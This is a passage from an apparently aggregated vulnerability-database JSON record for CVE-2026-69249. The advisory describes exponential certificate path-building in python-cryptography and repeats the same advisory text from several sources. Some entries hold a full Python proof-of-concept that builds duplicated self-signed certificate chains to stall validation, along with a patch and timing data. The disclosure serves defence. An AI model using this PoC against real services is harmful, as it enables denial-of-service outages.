/openssl/commit/119ab9555dc62275bbd71f6f49529b1a44feba42","tags":["article"]},{"url":"https://github.com/openssl/openssl/commit/3621257986e27e540bf96a11570929a6e5a9e05b","tags":["article"]},{"url":"https://github.com/openssl/openssl/commit/6c7aa6f8f6449b7fe0137ee8be65fcd239bd7d6a","tags":["article"]},{"url":"https://github.com/openssl/openssl/commit/bdeb0cd994d915342787f117ee75044f0dc36f34","tags":["article"]},{"url":"https://github.com/openssl/openssl/commit/bf95f5f772e9362f87b25cfa2f8cb15d984865b9","tags":["article"]},{"url":"https://openssl-library.org/news/secadv/20260825.txt","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2537080","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-84782","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84782","tags":["advisory"]},{"url":"https://openssl-library.org/news/vulnerabilities/#CVE-2026-84782","tags":["article"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_64774.json","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_64795.json","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_71658.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:71659","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_71659.json","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2026:64774","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2026:64795","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2026:71658","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623196-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1273516","tags":["report"]},{"url":"https://bugzilla.suse.com/1273549","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69248","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69249","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623247-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623404-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1273551","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69247","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623570-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-69249","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-8776-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2023-23931","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-69247","tags":["report"]},{"url":"https://ubuntu.com/security/CVE-2026-69248","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-69249","title":"python-cryptography: Duplicate self-signed intermediates can cause exponential path-building","description":"python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.","status":"published","published":"2026-08-03T21:26:45.826Z","modified":"2026-09-04T21:20:32.666Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T13:50:27.582139Z"}],"euvd":[{"id":"EUVD-2026-52450","description":"python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.","status":"published","published":"2026-08-03T21:26:45Z","modified":"2026-09-04T21:20:32Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:11.238356Z"}],"ghsa":[{"id":"GHSA-jwv3-5hgf-82ww","title":"python-cryptography: Duplicate self-signed intermediates can cause exponential path-building","description":"### Summary\nWhen resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.\n\nThis work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. \n\n### Details\nThe core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n        \u0026self,\n        working_cert: \u0026VerificationCertificate\u003c'chain, B\u003e,\n        current_depth: u8,\n        working_cert_extensions: \u0026Extensions\u003c'chain\u003e,\n        name_chain: NameChain\u003c'_, 'chain\u003e,\n        budget: \u0026mut Budget,\n    ) -\u003e ValidationResult\u003c'chain, Chain\u003c'chain, B\u003e, B\u003e {\n        if let Some(nc) = working_cert_extensions.get_extension(\u0026NAME_CONSTRAINTS_OID) {\n            name_chain.evaluate_constraints(\u0026nc.value()?, budget)?;\n        }\n\n        // Look in the store's root set to see if the working cert is listed.\n        // If it is, we've reached the end.\n        if self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n        }\n\n        // Check that our current depth does not exceed our policy-configured\n        // max depth. We do this after the root set check, since the depth\n        // only measures the intermediate chain's length, not the root or leaf.\n        if current_depth \u003e self.policy.max_chain_depth {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n                \"chain construction exceeds max depth\".into(),\n            )));\n        }\n\n        // Otherwise, we collect a list of potential issuers for this cert,\n        // and continue with the first that verifies.\n        let mut last_err: Option\u003cValidationError\u003c'_, B\u003e\u003e = None;\n        for issuing_cert_candidate in self.potential_issuers(working_cert) {\n            // A candidate issuer is said to verify if it both\n            // signs for the working certificate and conforms to the\n            // policy.\n            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n            match self.policy.valid_issuer(\n                issuing_cert_candidate,\n                working_cert,\n                current_depth,\n                \u0026issuer_extensions,\n            ) {\n                Ok(_) =\u003e {\n                    match self.build_chain_inner(\n```\n\nA sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.\n\n```rust\n          let mut seen_valid_issuers = Vec::\u003c\u0026VerificationCertificate\u003c'chain, B\u003e\u003e::new();\n          for issuing_cert_candidate in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_) =\u003e {\n                      if seen_valid_issuers.contains(\u0026issuing_cert_candidate) {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n                          // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn testing, this fix removed the exponential blowup without breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464 -\u003e 1,7,rejected,0.000667\n2,7,rejected,0.025154 -\u003e 2,7,rejected,0.001229\n3,7,rejected,0.489924 -\u003e 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -\u003e 4,7,rejected,0.002144\n3,8,rejected,1.468193 -\u003e 3,8,rejected,0.001811\n4,8,timeout\u003e5s,       -\u003e 4,8,rejected,0.002410\n5,7,timeout\u003e5s,       -\u003e 5,7,rejected,0.002640\n6,6,timeout\u003e5s,       -\u003e 6,6,rejected,0.002829\n```\n\n### PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n    key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n    decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n    encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n        .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n        .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n        .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n    subject = name(common_name)\n    cert = (\n        base_builder(subject, subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n            False,\n        )\n        .sign(private_key, hashes.SHA256())\n    )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n        base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(), 100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]), False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n            False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n    looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _, unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key, looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates, max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n    verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n        .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n    )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf, [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n        result = \"rejected\"\n    queue.put((result, time.perf_counter() - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n    process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates, max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n    if process.is_alive():\n        process.terminate()\n        process.join()\n        print(f\"{duplicates},{max_depth},timeout\u003e{TIMEOUT}s,\")\n        return\n\n    result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:\n        run_case(*case)\n```\n\n### Impact\nThis issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.","status":"published","published":"2026-08-03T21:26:50Z","modified":"2026-09-24T14:35:15Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:41:21.616682Z"}],"nvd":[{"id":"CVE-2026-69249","description":"python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.","status":"published","published":"2026-08-03T22:16:52.72Z","modified":"2026-10-23T21:10:00.157Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:12:34.643497Z"}],"osv":[{"id":"CVE-2026-69249","title":"python-cryptography: Duplicate self-signed intermediates can cause exponential path-building","description":"python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.","status":"published","published":"2026-08-03T21:26:45.826Z","modified":"2026-10-28T02:31:00.739509381Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:45:15.164658Z"},{"id":"DEBIAN-CVE-2026-69249","description":"python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.","status":"published","published":"2026-08-03T22:16:52.72Z","modified":"2026-10-24T10:01:21.441890496Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:46:02.094661Z"},{"id":"GHSA-jwv3-5hgf-82ww","title":"python-cryptography: Duplicate self-signed intermediates can cause exponential path-building","description":"### Summary\nWhen resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.\n\nThis work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. \n\n### Details\nThe core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n        \u0026self,\n        working_cert: \u0026VerificationCertificate\u003c'chain, B\u003e,\n        current_depth: u8,\n        working_cert_extensions: \u0026Extensions\u003c'chain\u003e,\n        name_chain: NameChain\u003c'_, 'chain\u003e,\n        budget: \u0026mut Budget,\n    ) -\u003e ValidationResult\u003c'chain, Chain\u003c'chain, B\u003e, B\u003e {\n        if let Some(nc) = working_cert_extensions.get_extension(\u0026NAME_CONSTRAINTS_OID) {\n            name_chain.evaluate_constraints(\u0026nc.value()?, budget)?;\n        }\n\n        // Look in the store's root set to see if the working cert is listed.\n        // If it is, we've reached the end.\n        if self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n        }\n\n        // Check that our current depth does not exceed our policy-configured\n        // max depth. We do this after the root set check, since the depth\n        // only measures the intermediate chain's length, not the root or leaf.\n        if current_depth \u003e self.policy.max_chain_depth {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n                \"chain construction exceeds max depth\".into(),\n            )));\n        }\n\n        // Otherwise, we collect a list of potential issuers for this cert,\n        // and continue with the first that verifies.\n        let mut last_err: Option\u003cValidationError\u003c'_, B\u003e\u003e = None;\n        for issuing_cert_candidate in self.potential_issuers(working_cert) {\n            // A candidate issuer is said to verify if it both\n            // signs for the working certificate and conforms to the\n            // policy.\n            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n            match self.policy.valid_issuer(\n                issuing_cert_candidate,\n                working_cert,\n                current_depth,\n                \u0026issuer_extensions,\n            ) {\n                Ok(_) =\u003e {\n                    match self.build_chain_inner(\n```\n\nA sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.\n\n```rust\n          let mut seen_valid_issuers = Vec::\u003c\u0026VerificationCertificate\u003c'chain, B\u003e\u003e::new();\n          for issuing_cert_candidate in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_) =\u003e {\n                      if seen_valid_issuers.contains(\u0026issuing_cert_candidate) {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n                          // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn testing, this fix removed the exponential blowup without breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464 -\u003e 1,7,rejected,0.000667\n2,7,rejected,0.025154 -\u003e 2,7,rejected,0.001229\n3,7,rejected,0.489924 -\u003e 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -\u003e 4,7,rejected,0.002144\n3,8,rejected,1.468193 -\u003e 3,8,rejected,0.001811\n4,8,timeout\u003e5s,       -\u003e 4,8,rejected,0.002410\n5,7,timeout\u003e5s,       -\u003e 5,7,rejected,0.002640\n6,6,timeout\u003e5s,       -\u003e 6,6,rejected,0.002829\n```\n\n### PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n    key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n    decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n    encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n        .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n        .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n        .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n    subject = name(common_name)\n    cert = (\n        base_builder(subject, subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n            False,\n        )\n        .sign(private_key, hashes.SHA256())\n    )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n        base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(), 100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]), False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n            False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n    looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _, unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key, looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates, max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n    verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n        .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n    )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf, [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n        result = \"rejected\"\n    queue.put((result, time.perf_counter() - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n    process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates, max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n    if process.is_alive():\n        process.terminate()\n        process.join()\n        print(f\"{duplicates},{max_depth},timeout\u003e{TIMEOUT}s,\")\n        return\n\n    result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:\n        run_case(*case)\n```\n\n### Impact\nThis issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.","status":"published","published":"2026-08-03T21:26:50Z","modified":"2026-09-24T14:45:10.238420831Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:51.10002Z"},{"id":"OESA-2026-3457","title":"python-cryptography security update","description":"cryptography is a package designed to expose cryptographic primitives and recipes to Python developers.\r\n\r\nSecurity Fix(es):\n\npython-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 49.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.(CVE-2026-69249)","status":"published","published":"2026-08-20T10:00:02Z","modified":"2026-08-20T10:15:14.47993918Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"OESA-2026-3458","title":"python-cryptography security update","description":"cryptography is a package designed to expose cryptographic primitives and recipes to Python developers.\r\n\r\nSecurity Fix(es):\n\npython-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 49.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.(CVE-2026-69249)","status":"published","published":"2026-08-20T10:00:03Z","modified":"2026-08-20T10:15:12.862677611Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"OESA-2026-3459","title":"python-cryptography security update","description":"cryptography is a package designed to expose cryptographic primitives and recipes to Python developers.\r\n\r\nSecurity Fix(es):\n\npython-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 49.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.(CVE-2026-69249)","status":"published","published":"2026-08-20T10:00:05Z","modified":"2026-08-20T10:15:04.960948522Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"PYSEC-2026-3553","title":"python-cryptography: Duplicate self-signed intermediates can cause exponential path-building","description":"### Summary\nWhen resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.\n\nThis work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. \n\n### Details\nThe core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n        \u0026self,\n        working_cert: \u0026VerificationCertificate\u003c'chain, B\u003e,\n        current_depth: u8,\n        working_cert_extensions: \u0026Extensions\u003c'chain\u003e,\n        name_chain: NameChain\u003c'_, 'chain\u003e,\n        budget: \u0026mut Budget,\n    ) -\u003e 